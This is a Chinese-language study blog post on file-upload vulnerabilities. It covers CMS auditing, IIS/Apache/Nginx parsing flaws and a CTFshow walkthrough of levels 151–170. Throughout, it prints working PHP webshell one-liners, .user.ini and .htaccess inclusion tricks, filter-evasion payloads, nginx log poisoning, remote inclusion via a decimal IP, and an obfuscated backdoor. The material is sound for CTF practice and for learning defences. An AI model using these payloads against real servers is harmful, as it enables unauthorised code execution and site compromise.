分类： 通用漏洞文件上传

#白盒审计-Finecms-代码常规-处理逻辑

黑盒思路：寻找上传点抓包修改突破获取状态码及地址

审计流程：功能点-代码文件-代码块-抓包调试-验证测试

#白盒审计-CuppaCms-中间件-.htaccess

黑盒思路：存在文件管理上传改名突破，访问后在突破

审计流程：功能点-代码文件-代码块-抓包调试-验证测试

#白盒审计-Metinfo-编辑器引用-第三方安全

黑盒思路：探针目录利用编辑器漏洞验证测试

审计流程：目录结构-引用编辑器-编辑器安全查询-EXP利用验证

#文件上传：

黑盒：寻找一切存在文件上传的功能应用//能够上传文件来修改信息

1、个人用户中心是否存在文件上传功能

2、后台管理系统是否存在文件上传功能

3、字典目录扫描探针文件上传构造地址 //如upload.php等

4、字典目录扫描探针编辑器目录构造地址

白盒：看三点，中间件，编辑器，功能代码

1、中间件直接看语言环境常见搭配

2、编辑器直接看目录机构或搜索关键字

3、功能代码直接看源码应用或搜索关键字

我们可以从白盒角度去分析，从黑盒角度去测试

在演示xxcms的时候（该cms）是一个文件管理系统。在file management 这个地方可以上传图片。但是存在检查过滤，单纯的抓包改数据不能够突破后缀名检查。但是该cms存在重命名功能，此时企图重命名原来的png文件为xxx.php文件，正常来说系统会限制修改后缀名，所以正常来说修改过后的文件名为xxx.php.png。此时我们可以抓包看一下数据包能不能操作，发现有一个：
from xxx.php.png to xxx.php.png …… //此时我们猜想起了决定性作用的是to 后面的文件名，所以改包，把to后的文件名改成xxx.php发现可以成功修改名字，确实把png文件改成了php文件。一般的这个时候如果php文件里面是后门代码的话，我们就可以按照原本的思路进行连接。
但是，在演示的时候出现了在实战中经常会遇到的情况，就是访问路径的时候显示403，我们没有权限去访问这个路径。原因是存在一个.htaccess文件过滤了php文件名，限制了访问带php后缀名的url。因为开发者知道这个目录不应该存在php文件。
解决这个问题的思路：
1.把php上传到其他路径，其他路径可能没有被限制； //此时我们可以通过文件路径../或者多级跳../../ 来切换到一个不被过滤的目录然后再连接后门代码。
2.让.htaccess文件失效//但是在黑盒情况下我们并不清楚是因为这个文件生效；

另一个cms使用白名单机制，十分严谨。提示我们可以写代码的时候把后缀名固定住，防止抓包改包修改数据。

别的也有用%00截断（适用于php5.4版本之前）现在php少了，绝大部分是php7，php5少了很多了。

白盒审计三个注意点
·中间件
·编辑器 // 扫目录扫出编辑器，找到版本号，找到漏洞EXP，利用漏洞
·功能代码

之前的文章，通过ctfshow的二十个关卡的解题来了解文件上传的形式，注意到很多时候文件上传需要配合其他前置条件才能更好的实现。

借助迪总的笔记，然后再做自己的学习感悟。

#中间件文件解析-IIS&Apache&Nginx

-IIS 6 7 文件名 目录名

1、文件名：x.asp;.x.jpg //上传正常图片之后，一般输入路径能看到保存的图片。但是在这个漏洞环境下，修改图片的名字（如上），再次访问地址的时候，会出现解析代码的行为。如果该文件里面写有恶意代码，将会被执行。

2、目录名：x.asp/x.jpg //而目录同样存在风险，如果一个目录的名字，以.asp为例子，在目录里面的jpg文件如果含有基于asp代码写的恶意脚本，也能被解析执行。

3、IIS7.X与Nginx解析漏洞一致

-Apache 换行解析 配置不当

1、换行解析-CVE-2017-15715

其2.4.0~2.4.29版本中存在一个解析漏洞 //上传之后可能会有黑白名单限制。可以考虑使用截断来人绕过检测规则，比如说xxx.jpg%0a

2、配置不当-.htaccess配置不当

AddHandler application/x-httpd-php .php

-Nginx 文件名逻辑 解析漏洞

1、文件名逻辑-CVE-2013-4547

影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、解析漏洞-nginx.conf配置不当

由此可知，该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。

#Web应用编辑器-Ueditor文件上传安全

<form action=”http://192.168.46.139/net/controller.ashx?action=catchimage” enctype=”multipart/form-data” method=”POST”>

<p>shell addr: <input type=”text” name=”source[]” /></p>

<input type=”submit” value=”Submit” />

</form>

#实例CMS&平台-中间件解析&编辑器引用

1、中间件配置不当导致文件被恶意解析

2、CMS源码引用外部编辑器实现文件上传

之前学习web漏洞的时候已经写过相关文章，但是仅学习原理知识远远不够，所以应该结合实践详细学习。跟着迪总把CTFshow的文件上传部分做一遍。

文件上传经常需要抓包，所以本篇文章主要利用的工具：
1.burp suit
2.firefox渗透版

151：
题目显示是前端验证。用bp抓包，当上传png格式文件的时候抓到包，放行允许上传，但是jpg文件没抓到包，限制上传。这里说明数据没有传到后台验证，即本地验证也就是前端验证。那么对于这种情况可以审查源代码，查看他的判定条件。
这道题F12查看源码的时候，发现限制文件上传只能是png，那么右击上传按钮选择查看元素，修改文件类型为jpg可以实现jpg文件的上传。

这是典型的JS验证，攻击者只需要把后门文件通过这个功能点上传，就能实现目的。然后使用：蚁剑、哥斯拉、冰蝎等连接。
上传一句话后门之后，访问上传路径，然后再post处输入a（a是后门文件里的参数）=system(‘ls’); 来查看文件。

然后使用 a=system(‘ls ../’); 跳转到上一级目录，该操作系统为linux

最后执行a=system(‘tac ../flag.php’); 读取flag文件

152：
按照151的做法来，发现修改前端格式为php之后上传php代码，出现了类型不正确

也就是说事情没有那么简单，本关除了验证后缀名，还会验证MIME类型，如下图，如果是png文件会返回image/png，而我们改成php文件之后，就变成了下图的content-type

这个是后端验证生成的，我们可以修改成image/png，因为png是后端合法的类型，如下图

之后按照151那样操作得到flag

153：按照前两关思路来，没有作用。这题考点是 .user.ini 文件。
首先按照前两步骤的方式上传.uer.ini文件，内容是.user.ini：auto_prepend_file=test.png//绿色是要包含的文件。
然后再上传test.png,内容是后门代码：<?php eval($_POST[x]);?>
两个文件都上传成功之后，按照之前的方法找flag。
本质上这是通过文件包含间接执行文件。在本关中访问/upload的时候其实默认访问了index.php，不是访问.user.ini也不是访问test.png来触发的后门代码。index.php能让user.ini生效。具体可以查看如何使ini生效的配置，使得png文件里面的代码能够被解析执行。

154：
按照前三步做法，最后失败，回显状态码，提示后门文件上传失败

当修改内容发现又可以成功，如下图

所以这关对文件的内容进行了验证，代码中应该使用了正则表达式过滤掉<?php 这个语句。思路是使用短标签，下面四种方法执行php，但是需要配置，根据实际情况使用，推荐3、4。

1、<? echo ‘123’;?> //前提是开启配置参数short_open_tags=on

2、<?=(表达式)?> //不需要开启参数设置

3、<% echo ‘123’;%> //前提是开启配置参数asp_tags=on

4、<script language=”php”>echo ‘1’; </script> //不需要修改参数开关

.user.ini：auto_prepend_file=test.png

test.png：<?=eval($_POST[x]);?>

之后按照前面步骤，向upload发送post包：x=system(‘tac ../flag.php’);

155:跟154一样

156：有时候遇到类似过滤，一个个删除看看过滤了哪些字符，然后找到替代的方法。再156中，过滤了POST[x]中的[x]，此时只需要换成 {x} 即可

157：除了过滤{}、php、“；”可能还用正则过滤了别的字符。这个时候我们可以直接
<?=system(‘tac ../fl*’)?> //直接运行命令，并且使用通配符*可以表达出php
之后访问upload即可，不用再post参数因为我们没写后门代码。

158：这次连（）也被过滤了，怎么办呢？由于php的特性，` `里面的内容会被当成命令执行，可以从这入手。

JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini：auto_prepend_file=test.png

test.png：<?=system(‘tac ../fl*’)?>

test.png：<? echo `tac /var/www/html/f*`?>

160：连` `都不能用了！咋整？这个靶场中间件用的是nginx，他有一个日志文件会记录传输得数据，因此我们可以尝试使用文件包含的思路，去包含日志文件的后门代码。

包含默认日志，日志记录UA头，UA头写后门代码

.user.ini：auto_prepend_file=test.png

test.png：<?=include”/var/lo”.”g/nginx/access.lo”.”g”?> //经过了拆分，数据里的符号会被过滤掉，之后还能拼接回来。

按道理说，上传了png和ini直接/upload/打开会出现日志文件，然后再抓包，修改user-agent：<?php eval($_POST[x]);?> 同时在第一行 GET后面修改地址为一个不一样的记得住的地址，发包，再次访问upload查看记录。
最后按照之前的步骤发post包读取flag

161：这关检测文件头，文件头有关的数据我在其他文章写有过。
比如GIF的文件头：GIF89A
本题过滤空格，所以要换行。

文件头部检测是否为图片格式文件

.user.ini：
GIF89A
auto_prepend_file=test.png

test.png：
GIF89A
<?=include”/var/lo”.”g/nginx/access.lo”.”g”?>

一样的，再改user-agent：后门代码//会被记录下来.

162:限制继续增加，现在连“.”也不允许，这说明后缀名就不能使用了。此时我们依然可以使用文件包含的思想，可以把后门代码写在某个网页，再发包申请包含这个网页上的后门文件。关键点在于UPL是有“.”的，不过我们可以在线转换ip为数字，就能实现。

163 突破上传删除

过滤 . () {} ;等 同时文件被删除

直接利用.user.ini包含远程

auto_prepend_file=http://794750069/

auto_prepend_file=http://794750069/

164 png二次渲染

二次渲染，其实是说中大型的网站，为了美观往往会修改图片的格式，可能会增删一些图片里面的数据。如果用010editor查看原图和上传之后的图，经过二次渲染后上传的图会有一部分与原图长生差异。此时我们要写入后门代码，就应该写在有与原图一致的地方。
然而，手工加入是很难实现的，看运气。所以大部分都是用工具生成图片码。
本关url地址上传文件之后，图片的地址不是写死的png（这样子是不能解析php的，要用ini），而是有“？=XXX.png”这样的url才有可能。
判断有没有二次渲染的方法：
1.判断文件上传前后的大小和内容
2.判断上传后文件返回数据包内容

如果不能上传php类型的文件，把后门代码写到了png中，要想png能被解析成php，就要使用一些方法：
1.包含漏洞
2.解析漏洞
3. .user.ini & .htaccess

https://blog.csdn.net/qq_40800734/article/details/105920149

get 0=system

post 1=tac flag.php

165 jpg二次渲染

1、先上传jpg正常，返回包发现渲染

2、上传jpg渲染后保存，生成带代码图片

调用执行：php jpg.php 1.jpg

166 zip调用包含

直接上传zip后修改代码

<?=eval($_POST[x]);?>

167 .htaccess妙用：
.htaccess是apache内置的“分布式配置文件”

.htaccess默认不支持nginx，设置后支持

.htaccess可以通过设置实现文件解析配置

可以将.png后缀的文件解析成php

AddType application/x-httpd-php .png

也可以将.png后缀的文件解析成php

168 免杀后门

<?php $a=’syste’;$b=’m’;$c=$a.$b;$c(‘tac ../flagaa.php’);?>

169 170日志包含

构造.user.ini利用条件：上传index.php 内容随意。因为.user.ini文件必须有index .php才能执行。如果目标目录没有index.php文件，我们应该上传一个。

上传.user.ini包含日志：auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志：<?=eval($_POST[x]);?>

这20关的上传让我明白了一些绕过规则上传文件的思路，显然，当前后端都进行验证，过滤，修改路径，或者不让别人访问目录等，都可以很大程度上防止文件上传漏洞的发生。
注意到比如.user.ini的利用，很多文件上传漏洞必须配合其他漏洞来执行，换句话说我们也可以通过消除这些前置问题，文件上传也很难利用。